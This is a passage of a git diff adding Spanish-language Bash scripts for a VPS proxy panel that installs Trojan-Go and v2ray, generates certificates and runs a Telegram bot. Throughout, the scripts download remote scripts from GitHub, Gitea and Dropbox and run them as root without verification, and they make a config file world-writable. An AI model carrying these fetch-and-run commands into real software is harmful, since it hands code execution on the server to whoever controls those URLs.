grep "autodel-trojan.sh"| cut -d ' ' -f1) &>/dev/null +systemctl stop trojankill &>/dev/null +systemctl disable trojankill &>/dev/null +rm -f /etc/systemd/system/trojankill.service &>/dev/null +msg -bar3 +echo -e "\033[1;31m TROJAN ID KILL fuera de linea" +msg -bar3 +} +rm -f /root/server.log +#[[ $(uname -m 2> /dev/null) != x86_64 ]] && { +#echo -ne "\033[1;32mΔ RESTART FOR ARM X64 " && (screen -dmS trojanserv trojan --config /usr/local/etc/trojan/config.json &) && echo "OK " || echo -e "\033[1;32mΔ FAIL" +#} || echo -ne "\033[1;32mΔ REINICIANDO SERVICIO " && (screen -dmS trojanserv trojan /usr/local/etc/trojan/config.json -l /root/server.log &) && echo "OK " || echo -e "\033[1;32mΔ FAIL" +#echo -ne "\033[1;32mΔ INICIANDO SERVICIO " && systemctl restart trojan.service && echo "OK " || echo -e "\033[1;32mΔ FAIL" +msg -bar3 +else +killall trojan &> /dev/null +systemctl stop trojankill &>/dev/null +systemctl disable trojankill &>/dev/null +rm -f /etc/systemd/system/trojankill.service &>/dev/null +systemctl stop trojan &>/dev/null +systemctl disable trojan &>/dev/null +rm -f /etc/systemd/system/trojan.service &>/dev/null +fi +clear +[[ ! -z $(ps x | grep trojan | grep -v grep) ]] && { +tittle +SNI=$(cat /usr/local/etc/trojan/config.json | jq -r .ssl.sni) +echo -e "[\033[1;31m-\033[1;33m]\033[1;31m \033[1;33m" +echo -e "\033[1;33m Trojan Server Instalado" +echo -e " Remarks :" "$trojanpass" +echo -e " IP-Address:" "$IP" +echo -e " Port :" "$trojanport" +echo -e " CLAVE :" "$new_id" +echo -e " TCP :" " OPEN" +echo -e " NetWork :" " WS/TCP" +msg -bar3 +echo +[[ $(uname -m 2> /dev/null) != x86_64 ]] && { + msg -bar3 + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31m PARA PROCESADORES ARM 64 " + echo -e " Si utilizas procesador ARM, este es solo" + echo -e " compatible con 1 SNI" + echo -e " El Host SNI/BugHost que añadiste " + echo -e " TU HOST : ${SNI}\033[0m" + msg -bar3 + echo + msg -bar3 + echo + } +echo -ne "$(msg -verd "") $(msg -verm2 " LINK TCP: ") "&& msg -bra "\033[1;41m trojan://$new_id@$IP:$trojanport" +echo +msg -bar3 +echo +echo -ne "$(msg -verd "") $(msg -verm2 " LINK WS: ") "&& msg -bra "\033[1;41m trojan://$new_id@$IP:$trojanport?path=%2F&security=tls&type=ws&sni=$SNI" +echo +msg -bar3 +echo -e "\033[1;33m Si necesitas cambiar el password edita el archivo o Ve a Menu Administrativo" +echo -e "\033[1;32m Ruta de Configuracion: /usr/local/etc/trojan/config.json" +msg -bar3 +[[ $(ps x | grep trojan | grep -v grep) ]] && echo "source <(curl -sSL https://raw.githubusercontent.com/emirjorge/Script-Z/master/CHUMO/Recursos/trojango-sh/trojan-sh/mod-trojan.sh)" > /bin/troj.sh && chmod +x /bin/troj.sh +} || { +tittle +echo -e " ERROR INTERNO DE LA CONFIGURACION" +rm -rf $trojdir +} +} + +certdom () { +[[ -d /etc/trojan ]] && rm -rf /etc/trojan +mkdir /etc/trojan 1> /dev/null 2> /dev/null +[[ $(uname -m 2> /dev/null) != x86_64 ]] && { +echo -e " -> BUSCANDO FILE COMPATIBLE CON ARM" +curl -LO --progress-bar https://raw.githubusercontent.com/emirjorge/Script-Z/master/CHUMO/Recursos/trojango-sh/trojan-sh/configARM.json && wget -q -O /usr/local/etc/trojan/config.json https://raw.githubusercontent.com/emirjorge/Script-Z/master/CHUMO/Recursos/trojango-sh/trojan-sh/configARM.json +} || { +echo -e " -> DESCARGANDO FILE NATIVO PROCESADORES X86_64" +curl -LO --progress-bar https://raw.githubusercontent.com/emirjorge/Script-Z/master/CHUMO/Recursos/trojango-sh/trojan-sh/config.json && wget -q --show-progress -O /usr/local/etc/trojan/config.json https://raw.githubusercontent.com/emirjorge/Script-Z/master/CHUMO/Recursos/trojango-sh/trojan-sh/config.json +[[ ${MENU_OPTION} = 2 ]] && wget https://raw.githubusercontent.com/emirjorge/Script-Z/master/CHUMO/Recursos/trojango-sh/trojan-sh/configARM.json &>/dev/null -O /usr/local/etc/trojan/config.json &>/dev/null +} +source <(curl -sSL https://raw.githubusercontent.com/emirjorge/Script-Z/master/CHUMO/Recursos/trojango-sh/trojan-sh/certUP.sh) +[[ -e /data/cert.crt && -e /data/cert.key ]] && { +cat /data/cert.key > /etc/trojan/private.key +cat /data/cert.crt > /etc/trojan/fullchain.cer +echo -e "CERTIFICADO GENERADO" +echo -ne " \033[1;31m[ ! ] CARGANDO Certificado TROJAN" # Generate CA Config +( +#sed -i '13i "cert":"/etc/trojan/fullchain.cer",' /usr/local/etc/trojan/config.json +#sed -i '14i "key":"/etc/trojan/private.key",' /usr/local/etc/trojan/config.json +newdataCERT='/etc/trojan/fullchain.cer' +newdataKEY='/etc/trojan/private.key' +dataCERT=$(cat $config | jq -r .ssl.cert) +dataKEY=$(cat $config | jq -r .ssl.key) +sed -i "s%${dataCERT}%${newdataCERT}%g" $config +sed -i "s%${dataKEY}%${newdataKEY}%g" $config +) && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +msg -bar3 +echo -e "CERTIFICADO GENERADO EXITOSAMENTE" +msg -bar3 +} || { +echo -e " ERROR AL CREAR CERTIFICADO " +} +} + +troman(){ +clear +tittle +[[ -d /etc/trojan ]] && rm -rf /etc/trojan +mkdir /etc/trojan 1> /dev/null 2> /dev/null +[[ $(uname -m 2> /dev/null) != x86_64 ]] && { +echo -e " -> BUSCANDO FILE COMPATIBLE CON ARM" +curl -LO --progress-bar https://raw.githubusercontent.com/emirjorge/Script-Z/master/CHUMO/Recursos/trojango-sh/trojan-sh/configARM.json && wget -q --show-progress -O /usr/local/etc/trojan/config.json https://raw.githubusercontent.com/emirjorge/Script-Z/master/CHUMO/Recursos/trojango-sh/trojan-sh/configARM.json +} || { +echo -e " -> DESCARGANDO FILE NATIVO PROCESADORES X86_64" +curl -LO --progress-bar https://raw.githubusercontent.com/emirjorge/Script-Z/master/CHUMO/Recursos/trojango-sh/trojan-sh/config.json && wget -q --show-progress -O /usr/local/etc/trojan/config.json https://raw.githubusercontent.com/emirjorge/Script-Z/master/CHUMO/Recursos/trojango-sh/trojan-sh/config.json +[[ ${MENU_OPTION} = 2 ]] && wget https://raw.githubusercontent.com/emirjorge/Script-Z/master/CHUMO/Recursos/trojango-sh/trojan-sh/configARM.json &>/dev/null -O /usr/local/etc/trojan/config.json &>/dev/null +} +openssl genrsa 2048 > /etc/trojan/private.key +chmod 400 /etc/trojan/private.key +openssl req -new -x509 -nodes -sha256 -days 365 -key /etc/trojan/private.key -out /etc/trojan/fullchain.cer +clear +msg -bar3 +echo -ne " \033[1;31m[ ! ] GENERANDO Certificado TROJAN" # Generate CA Config +( +#sed -i '13i "cert":"/etc/trojan/fullchain.cer",' /usr/local/etc/trojan/config.json +#sed -i '14i "key":"/etc/trojan/private.key",' /usr/local/etc/trojan/config.json +newdataCERT='/etc/trojan/fullchain.cer' +newdataKEY='/etc/trojan/private.key' +dataCERT=$(cat $config | jq -r .ssl.cert) +dataKEY=$(cat $config | jq -r .ssl.key) +sed -i "s%${dataCERT}%${newdataCERT}%g" $config +sed -i "s%${dataKEY}%${newdataKEY}%g" $config +) && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +msg -bar3 +echo -e " CERTIFICADO GENERADO EXITOSAMENTE" +msg -bar3 +} + +troauto() { +clear +tittle +msg -bar3 +[[ ! -d /usr/local/etc/trojan ]] && mkdir /usr/local/etc/trojan +[[ $(uname -m 2> /dev/null) != x86_64 ]] && { +echo -ne " -> BUSCANDO FILE COMPATIBLE CON ARM - " +#curl -LO --progress-bar https://raw.githubusercontent.com/emirjorge/Script-Z/master/CHUMO/Recursos/trojango-sh/trojan-sh/configARM.json || wget -q --show-progress -O /usr/local/etc/trojan/config.json https://raw.githubusercontent.com/emirjorge/Script-Z/master/CHUMO/Recursos/trojango-sh/trojan-sh/configARM.json +if wget https://raw.githubusercontent.com/emirjorge/Script-Z/master/CHUMO/Recursos/trojango-sh/trojan-sh/configARM.json &>/dev/null -O /usr/local/etc/trojan/config.json &>/dev/null ; then +echo "[ OK ]" +else +echo "[ FAIL ]" +fi +} || { +echo -e " -> DESCARGANDO FILE NATIVO PROCESADORES X86_64 - " +#curl -LO --progress-bar https://raw.githubusercontent.com/emirjorge/Script-Z/master/CHUMO/Recursos/trojango-sh/trojan-sh/config.json || wget -q --show-progress -O /usr/local/etc/trojan/config.json https://raw.githubusercontent.com/emirjorge/Script-Z/master/CHUMO/Recursos/trojango-sh/trojan-sh/config.json +if wget https://raw.githubusercontent.com/emirjorge/Script-Z/master/CHUMO/Recursos/trojango-sh/trojan-sh/config.json &>/dev/null -O /usr/local/etc/trojan/config.json &>/dev/null ; then +[[ ${MENU_OPTION} = 2 ]] && wget https://raw.githubusercontent.com/emirjorge/Script-Z/master/CHUMO/Recursos/trojango-sh/trojan-sh/configARM.json &>/dev/null -O /usr/local/etc/trojan/config.json &>/dev/null +echo " FICHERO CONFIG DESCARGADO" +else +echo " IMPOSIBLE CONEGIR FICHERO" +fi +} +echo -ne " \033[1;31m[ ! ] GENERANDO Certificado TROJAN" # Generate CA Config +[[ -d /etc/trojan ]] && rm -rf /etc/trojan +mkdir /etc/trojan +( +openssl genrsa -out /etc/trojan/private.key 2048 > /dev/null 2>&1 +chmod 400 /etc/trojan/private.key > /dev/null 2>&1 +(echo "$(curl -sSL ipinfo.io | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')"; echo ""; echo "$(wget -qO- ifconfig.me)"; echo ""; echo ""; echo ""; echo "@ChumoGH")|openssl req -new -x509 -nodes -sha256 -days 365 -key /etc/trojan/private.key -out /etc/trojan/fullchain.cer > /dev/null 2>&1 +) && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +#echo -e "\033[1;37mΔ Generando Configuracion" +#sed -i '13i "cert":"/etc/trojan/fullchain.cer",' /usr/local/etc/trojan/config.json +newdataCERT='/etc/trojan/fullchain.cer' +newdataKEY='/etc/trojan/private.key' +dataCERT=$(cat $config | jq -r .ssl.cert) +dataKEY=$(cat $config | jq -r .ssl.key) +sed -i "s%${dataCERT}%${newdataCERT}%g" $config +sed -i "s%${dataKEY}%${newdataKEY}%g" $config +cd $HOME +msg -bar3 +echo -e " CERTIFICADO GENERADO EXITOSAMENTE" +msg -bar3 +#fun_bar +} + + +[[ -e /etc/adm-lite/menu_credito ]] && nomkey="$(cat < /etc/adm-lite/menu_credito|head -1)" || nomkey="$(curl -sSL "https://raw.githubusercontent.com/emirjorge/Script-Z/master/CHUMO/Lista/menu_credito")" +IP=$(wget -qO- ifconfig.me) +fun_ip () { +MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1) +MEU_IP2=$(wget -qO- ipv4.icanhazip.com) +[[ "$MEU_IP" != "$MEU_IP2" ]] && IP="$MEU_IP2" || IP="$MEU_IP" +} +insta_tro () { +clear +tittle +killall trojan &> /dev/null +if [[ $(uname -m 2> /dev/null) != x86_64 ]]; then +msg -bar3 +echo "" +echo -e " FAVOR EJECUTE EL SCRIPT EN MAQUINAS x86_64 " +echo "" +msg -bar3 +echo -e " ARQUITECTURA NO COMPATIBLE CON TROJAN-GO " +echo "" +echo -e " NECESITA ACTIVAR PROXY SOCKS 80 PARA CONTINUAR" +echo "" +echo -e " INTENTAREMOS REDEFINIR UN INSTALADOR" +echo "" +msg -bar3 +sudo bash -c "$(curl -fsSL https://raw.githubusercontent.com/emirjorge/Script-Z/master/CHUMO/Recursos/trojango-sh/trojan-sh/trojan-ARM.sh)" +else +msg -bar3 +echo "" + echo " LEE DETALLADAMENTE ANTES DE CONTINUAR" + echo "" + echo " Trojan Golang usa modulo de Golang " + echo " En este menu te damos a escojer la Opcion" + echo " TCP - Metodo SSL+TLS Compatible con cualquier SNI" + echo " TCP+WS - Metodo SSL+TLS + WS ( Admite 1 solo SNI )" + echo "" + echo " ¿Qué quieres hacer?" + echo "" + echo " 1) TROJAN-GO | TCP ( Predeterminado )" + echo " 2) TROJAN-GO | TCP + WS " + msg -bar3 + echo " 0) Salir + Cancelar" + until [[ ${MENU_OPTION} =~ ^[1-2]$ ]]; do + read -t 5 -p " Selecione una opcion [1-2]: " -e -i "1" MENU_OPTION + done + case "${MENU_OPTION}" in + 1) + bash -c "$(wget -O- https://raw.githubusercontent.com/trojan-gfw/trojan-quickstart/master/trojan-quickstart.sh)" + ;; + 2) + sudo bash -c "$(curl -fsSL https://raw.githubusercontent.com/emirjorge/Script-Z/master/CHUMO/Recursos/trojango-sh/trojan-sh/trojan-ARM.sh)" + ;; + 0) + exit 0 + ;; + esac +fi +clear +} +tittle +msg -bar3 +echo -e "\033[1;37m - INSTALADOR TROJAN - ChumoGH|ADM \033[0m" +echo "" +echo -e "\033[1;37m CORREJIDO EL PROBLEMA DE PROCESADORES ARM \033[0m" +echo "" +echo -e "\033[1;33m Se instalara¡ el servidor de Trojan\033[0m" +echo -e "\033[1;33m Si ya tenias una instalacion Previa, esta se eliminara\033[0m" +#echo -e "\033[1;33m Debes tener instalado previamente GO Lang\033[0m" +#[[ ! -z $(which go) ]] && echo -e " \033[1;33m Go Lang Instalado" || echo -e "\033[1;33m Instale Go Lang en ( *\033[1;33m menu\033[1;32m *\033[1;33m opcion 7 \033[1;32m*\033[1;33m opcion 15 \033[1;32m)" +msg -bar3 +echo -e "\033[1;33m En caso de Carga o Certificado con Dominio\n DEBES TENER LIBRES PUERTOS 80 / 443 \033[0m" +msg -bar3 +echo -e "\033[1;33m Deseas Continuar?\033[0m" +while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do +read -p "[S/N]: " yesno +tput cuu1 && tput dl1 +done +[[ ${yesno} = @(N|n) ]] && exit +if [[ ${yesno} = @(s|S|y|Y) ]]; then +echo -e " MENU DE GENERACION DE CERTIFICADOS " +menutro () { +fun_ip +echo -e " " +msg -bar3 +echo -e " \033[7;49;35m ===>>►► 🐲 Menu TROJAN ChumoGH💥VPS 🐲 ◄◄<<=== \033[0m" +msg -bar3 +echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m➮\033[0;33m CERTIFICADO SSL AUTOMATICO \033[0;32m(#OFICIAL) " +echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m➮\033[0;31m CERT SSL CON DOMINIO \033[0;33m(#EXPERIMENTAL) " +echo -e " \033[0;35m[\033[0;36m3\033[0;35m] \033[0;34m➮\033[0;33m CERTIFICADO CON CARGA ZIP \033[0;32m(#OFICIAL) " +#msg -bar3 +#echo -e " \033[0;35m[\033[0;36m4\033[0;35m] \033[0;34m➮\033[0;33m MENU ADMINISTRADOR TROJAN-GO \033[0;32m(#OFICIAL) " +msg -bar3 +selection=$(selection_fun 4) +case ${selection} in +1) insta_tro && troauto && troport ;; +2) insta_tro && certdom && troport;; +3) insta_tro && car_cert && troport;; +4) +[[ ! -z $(which troj.sh) ]] && troj.sh || echo -e "\033[1;33m INSTALE EL SERVICIO PRIMERO" +read -p " Enter";; +esac +} +fi +menutro && exit \ No newline at end of file diff --git a/Recursos/trojango.sh b/Recursos/trojango.sh new file mode 100644 index 0000000..03b19de --- /dev/null +++ b/Recursos/trojango.sh @@ -0,0 +1,4 @@ +#!/bin/bash +#by @drowkid01 + +source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/trojango-sh/trojan.sh) \ No newline at end of file diff --git a/Recursos/usercodes/_multiK.sh b/Recursos/usercodes/_multiK.sh new file mode 100644 index 0000000..2e0b60a --- /dev/null +++ b/Recursos/usercodes/_multiK.sh @@ -0,0 +1,76 @@ +#!/bin/bash + +function chekKEY { +_off="\033[1;31mOFF\033[0m" +_on="\033[1;32mON\033[0m" +Key="$(cat /etc/cghkey)" +[[ -z $Key ]] && exit&&exit +} + +[[ $1 = '--check' ]] && chekKEY &> /dev/null 2>&1 + +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 + +msg -bar +echo -e "${cor[4]} VERIFICAR ACTIVIDAD MULTILOGUIN" +msg -bar +sleep 2s +clear +echo + echo -e " \033[4;31mNOTA importante\033[0m" +echo +msg -bar + echo -e " \033[0;31mEste controlador Multilogin, registra las conexiones" + echo -e " que se conectan a este servidor, via SSH , DROPBEAR, OPENVPN" + echo -e " SI NOTAS MUCHAS RECONEXIONES" + echo -e " APAGA ESTA OPC, POR METODOS INESTABLES (RECOMENDADO)" + echo -e " y causar problemas en futuras instalaciones.\033[0m" +msg -bar +read "PRESIONE ENTER PARA CONTINUAR" +clear&&clear +select_users +if [ "$select_name" = "" ]; then +return +fi +namer="$select_name" +[[ $(cat /etc/adm-lite/userDIR/$namer | grep "limite" | awk '{print $2}') = "HWID" ]] && nameFX="$(cat /etc/adm-lite/userDIR/$u | grep "senha" | awk '{print $2}')" || nameFX=$namer +[[ $(cat /etc/adm-lite/userDIR/$namer | grep "limite" | awk '{print $2}') = "TOKEN" ]] && nameFX="$(cat /etc/adm-lite/userDIR/$u | grep "senha" | awk '{print $2}')" || nameFX=$namer +msg -bar +echo -e "${cor[5]} RECUERDE QUE EL LOG SE ALMACENA EN /root/limiter.log" +msg -bar +#for _lim in $(cat /root/limiter.log | grep -w ${name}| cut -d " " -f6 | cut -d "/" -f1); then +_dateIP="$(cat /root/limiter.log | grep -w ${namer}| grep -w $(date +%m/%d/%y) | head -1)" #cut -d " " -f6 | cut -d "/" -f1)" +_dateIU="$(cat /root/limiter.log | grep -w ${namer}| grep -w $(date +%m/%d/%y) | tail -1)" #cut -d " " -f6 | cut -d "/" -f1)" +_dateF="$(cat /root/limiter.log | grep -w ${namer}| cut -d " " -f6 | cut -d "/" -f1)" +array="$(cat /root/limiter.log | grep -w ${namer}| cut -d " " -f6 | cut -d "/" -f1)" +cantidad=${#array}; +_l="$(cat /root/limiter.log|grep -w ${namer} | wc -l)" +numeroMayor=0 +for i in $array; do +[[ $i -gt $numeroMayor ]] && numeroMayor=$i + let n++ +done + +echo -e "## PRIMERA MULTICONEXION ESTIMADA EL DIA DE HOY ${_dateIP} " +echo -e "## ULTIMA MULTICONEXION ESTIMADA EL DIA DE HOY ${_dateIU} " +echo -e "## EXCESO DE CONEXIONES : ${numeroMayor} LA MAS ALTA" +echo -e " USUARIO : ${nameFX} tiene $(cat /root/limiter.log|grep -w ${namer} | wc -l) RECONEXIONES CON " +echo -e "${cor[5]} ESCOJE LA OPCION A CAMBIAR DE $namer" \ No newline at end of file diff --git a/Recursos/usercodes/adduser.sh b/Recursos/usercodes/adduser.sh new file mode 100644 index 0000000..e793df2 --- /dev/null +++ b/Recursos/usercodes/adduser.sh @@ -0,0 +1,189 @@ +#!/bin/sh +config="/etc/v2ray/config.json" +temp="/etc/v2ray/temp.json" +v2rdir="/etc/v2r" && [[ ! -d $v2rdir ]] && mkdir $v2rdir +user_conf="/etc/v2r/user" && [[ ! -e $user_conf ]] && touch $user_conf +backdir="/etc/v2r/back" && [[ ! -d ${backdir} ]] && mkdir ${backdir} +tmpdir="$backdir/tmp" +[[ ! -e $v2rdir/conf ]] && echo "autBackup 0" > $v2rdir/conf +if [[ $(cat $v2rdir/conf | grep "autBackup") = "" ]]; then + echo "autBackup 0" >> $v2rdir/conf +fi +barra="\033[0;31m=====================================================\033[0m" +numero='^[0-9]+$' +hora=$(printf '%(%H:%M:%S)T') +fecha=$(printf '%(%D)T') + + +on_off_res(){ + if [[ $(cat $v2rdir/conf | grep "autBackup" | cut -d " " -f2) = "0" ]]; then + echo -e "\033[0;31m[off]" + else + echo -e "\033[1;92m[on]" + fi + } + +blanco(){ + [[ ! $2 = 0 ]] && { + echo -e "\033[1;37m$1\033[0m" + } || { + echo -ne " \033[1;37m$1:\033[0m " + } +} + +verde(){ + [[ ! $2 = 0 ]] && { + echo -e "\033[1;32m$1\033[0m" + } || { + echo -ne " \033[1;32m$1:\033[0m " + } +} + +rojo(){ + [[ ! $2 = 0 ]] && { + echo -e "\033[1;31m$1\033[0m" + } || { + echo -ne " \033[1;31m$1:\033[0m " + } +} + +col(){ + + nom=$(printf '%-55s' "\033[0;92m${1} \033[0;31m>> \033[1;37m${2}") + echo -e " $nom\033[0;31m${3} \033[0;92m${4}\033[0m" +} + +col2(){ + + echo -e " \033[1;91m$1\033[0m \033[1;37m$2\033[0m" +} + +vacio(){ + + blanco "\n no se puede ingresar campos vacios..." +} + +cancelar(){ + + echo -e "\n \033[3;49;31minstalacion cancelada...\033[0m" +} + +continuar(){ + + echo -e " \033[3;49;32mEnter para continuar...\033[0m" +} + +title2(){ + v1=$(cat /etc/adm-lite/v-local.log) + v2=$(cat /bin/ejecutar/v-new.log) + echo -e $barra + [[ $v1 = $v2 ]] && echo -e " \e[97m\033[1;41m V2ray by @Rufu99 Remasterizado @drowkid01 [$v1] \033[0m" || echo -e " \e[97m\033[1;41m V2ray by @Rufu99 Remasterizado @drowkid01 [$v1] >> \033[1;92m[$v2] \033[0m" +} + +title(){ + echo -e $barra + blanco "$1" + echo -e $barra +} + +userDat(){ + blanco " N° Usuarios fech exp dias" + echo -e $barra +} + + +restart_v2r(){ + v2ray restart + #echo "reiniciando" +} + +add_user(){ + users="$(cat $config | jq -r .inbounds[].settings.clients[].email)" + opcion=$name + dias=$tdias + espacios=$(echo "$opcion" | tr -d '[[:space:]]') + opcion=$espacios + mv $config $temp + num=$(jq '.inbounds[].settings.clients | length' $temp) + new=".inbounds[].settings.clients[$num]" + new_id=$(uuidgen) + new_mail="email:\"$opcion\"" + aid=$(jq '.inbounds[].settings.clients[0].alterId' $temp) + echo jq \'$new += \{alterId:${aid},id:\"$new_id\","$new_mail"\}\' $temp \> $config | bash + echo "$opcion | $new_id | $(date '+%y-%m-%d' -d " +$dias days")" >> $user_conf + chmod 777 $config + rm $temp + restart_v2r + view_user $opcion + } + + +view_user(){ +[[ ! -d /bin/ejecutar ]] && mkdir /bin/ejecutar +name=$1 + unset seg + seg=$(date +%s) + while : + do + users=$(cat $config | jq .inbounds[].settings.clients[] | jq -r .email) + n=1 + for i in $users + do + unset DateExp + unset seg_exp + unset exp + [[ $name = "$i" ]] && escopt="$n" + let n++ + done + opcion=$escopt + let opcion-- + + ps=$(jq .inbounds[].settings.clients[$opcion].email $config) && [[ $ps = null ]] && ps="default" + id=$(jq .inbounds[].settings.clients[$opcion].id $config) + aid=$(jq .inbounds[].settings.clients[$opcion].alterId $config) + add=$(jq '.inbounds[].domain' $config) && [[ $add = null ]] && add=$(wget -qO- ipv4.icanhazip.com) + host=$(jq '.inbounds[].streamSettings.wsSettings.headers.Host' $config) && [[ $host = null ]] && host='aqui.tu.host' + net=$(jq '.inbounds[].streamSettings.network' $config) + [[ $net = '"grpc"' ]] && path=$(jq '.inbounds[].streamSettings.grpcSettings.serviceName' $config) || path=$(jq '.inbounds[].streamSettings.wsSettings.path' $config) + port=$(jq '.inbounds[].port' $config) + tls=$(jq '.inbounds[].streamSettings.security' $config) + addip=$(wget -qO- ifconfig.me) + tput cuu1 >&2 && tput dl1 >&2 + tput cuu1 >&2 && tput dl1 >&2 + blanco $barra + blanco " VMESS LINK CONFIG" + blanco $barra + vmess + blanco $barra + [[ $net = '"grpc"' ]] && echo -e "vmess://$(echo {\"v\": \"2\", \"ps\": $ps, \"add\": $addip, \"port\": $port, \"aid\": $aid, \"type\": \"none\", \"net\": $net, \"path\": $path, \"host\": $host, \"id\": $id, \"tls\": $tls} | base64 -w 0)" > /bin/ejecutar/${name}_vmess.txt || { + [[ $net = '"ws"' ]] && echo -n "vmess://$(echo {\"v\": \"2\", \"ps\": $ps, \"add\": $addip, \"port\": $port, \"aid\": $aid, \"type\": \"gun\", \"net\": $net, \"path\": $path, \"host\": $host, \"id\": $id, \"tls\": $tls} | base64 -w 0)" > /bin/ejecutar/${name}_vmess.txt + } + [[ $net = '"grpc"' ]] && echo -e "vmess://$(echo {\"v\": \"2\", \"ps\": $ps, \"add\": $addip, \"port\": $port, \"aid\": $aid, \"type\": \"none\", \"net\": $net, \"path\": $path, \"host\": $host, \"id\": $id, \"tls\": $tls} | base64 -w 0)" | qrencode -s8 -o /bin/ejecutar/${name}_vmess_qr.png || { + [[ $net = '"ws"' ]] && echo -n "vmess://$(echo {\"v\": \"2\", \"ps\": $ps, \"add\": $addip, \"port\": $port, \"aid\": $aid, \"type\": \"gun\", \"net\": $net, \"path\": $path, \"host\": $host, \"id\": $id, \"tls\": $tls} | base64 -w 0)" | qrencode -s8 -o /bin/ejecutar/${name}_vmess_qr.png + } + [[ -e /bin/ejecutar/${name}_vmess_qr.png ]] && { + mv /bin/ejecutar/${name}_vmess_qr.png /var/www/html/${name}_vmess_qr.png + echo -e "QR Code : http://$(wget -qO- ipv4.icanhazip.com):81/${name}_vmess_qr.png " + } || echo -e "ERROR AL CREAR QR" + blanco $barra + break + done +} + +vmess() { + +[[ $net = '"grpc"' ]] && echo -e "\033[3;32mvmess://$(echo {\"v\": \"2\", \"ps\": $ps, \"add\": $addip, \"port\": $port, \"aid\": $aid, \"type\": \"none\", \"net\": $net, \"path\": $path, \"host\": $host, \"id\": $id, \"tls\": $tls} | base64 -w 0)\033[3;32m" || { +[[ $net = '"ws"' ]] && echo -e "\033[3;32mvmess://$(echo {\"v\": \"2\", \"ps\": $ps, \"add\": $addip, \"port\": $port, \"aid\": $aid, \"type\": \"gun\", \"net\": $net, \"path\": $path, \"host\": $host, \"id\": $id, \"tls\": $tls} | base64 -w 0)\033[3;32m" +} + +} + + +[[ $1 = "" && $2 = "" ]] && { + exit +} || { + name="$1" + tdias="$2" + add_user + return 0 +} diff --git a/Recursos/usercodes/chukk-bot/ShellBot.sh b/Recursos/usercodes/chukk-bot/ShellBot.sh new file mode 100755 index 0000000..e69de29 diff --git a/Recursos/usercodes/chukk-bot/chukk-bot.sh b/Recursos/usercodes/chukk-bot/chukk-bot.sh new file mode 100755 index 0000000..cf8094d --- /dev/null +++ b/Recursos/usercodes/chukk-bot/chukk-bot.sh @@ -0,0 +1,424 @@ +#!/bin/bash +adm="${main[0]}/data-admin.conf" +usr="${main[0]}/data-users.conf" + +adm=$(echo $data|awk -F "|" '{print $1}') +pass=$(echo $data|awk -F "|" '{print $2}') +tkn=$(echo $data|awk -F "|" '{print $3}') + +meu_ip_fun() { + MIP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1) + MIP2=$(wget -qO- ipv4.icanhazip.com) + [[ "$MIP" != "$MIP2" ]] && IP="$MIP2" || IP="$MIP" +} + +CIDdir=${main[0]} && [[ ! -d ${CIDdir} ]] && mkdir ${CIDdir} +CID="${CIDdir}/data-users.conf" && [[ ! -e ${CID} ]] && echo >${CID} +[[ $(dpkg --get-selections | grep -w "jq" | head -1) ]] || apt-get install jq -y &>/dev/null +[[ ! -e "/bin/ShellBot.sh" ]] && wget -O /bin/ShellBot.sh https://www.dropbox.com/s/gfwlkfq4f2kplze/ShellBot.sh &>/dev/null +[[ -e /etc/texto-bot ]] && rm /etc/texto-bot +LINE="━━━━━━━━━━━━━━━━━━━━━━" +source ShellBot.sh +ShellBot.init --token "$tkn" --monitor --flush --return map +ShellBot.username + +reply() { + [[ ! -z ${callback_query_message_chat_id[$id]} ]] && var=${callback_query_message_chat_id[$id]} || var=${message_chat_id[$id]} + + ShellBot.sendMessage --chat_id $var \ + --text "${repply:=$comando}" \ + --parse_mode html \ + --reply_markup "$(ShellBot.ForceReply)" +} + +menu_print() { + [[ ! -z ${callback_query_message_chat_id[$id]} ]] && var=${callback_query_message_chat_id[$id]} || var=${message_chat_id[$id]} + ShellBot.sendMessage --chat_id $var \ + --text "$(echo -e $bot_retorno)" \ + --parse_mode html \ + --reply_markup "$(ShellBot.InlineKeyboardMarkup -b "$1")" +} + +menu_tools() { + [[ ! -z ${callback_query_message_chat_id[$id]} ]] && var=${callback_query_message_chat_id[$id]} || var=${message_chat_id[$id]} + + if [[ $(echo $permited | grep "${chatuser}") = "" ]]; then + # ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + ShellBot.sendMessage --chat_id $var \ + --text "$(echo -e $bot_retorno)" \ + --parse_mode html \ + --reply_markup "$(ShellBot.InlineKeyboardMarkup -b 'botao_tools_user')" + else + # ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + ShellBot.sendMessage --chat_id $var \ + --text "$(echo -e $bot_retorno)" \ + --parse_mode html \ + --reply_markup "$(ShellBot.InlineKeyboardMarkup -b 'botao_tools_conf')" + fi +} + +menu_user() { + [[ ! -z ${callback_query_message_chat_id[$id]} ]] && var=${callback_query_message_chat_id[$id]} || var=${message_chat_id[$id]} + + if [[ $(echo $permited | grep "${chatuser}") = "" ]]; then + # ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + 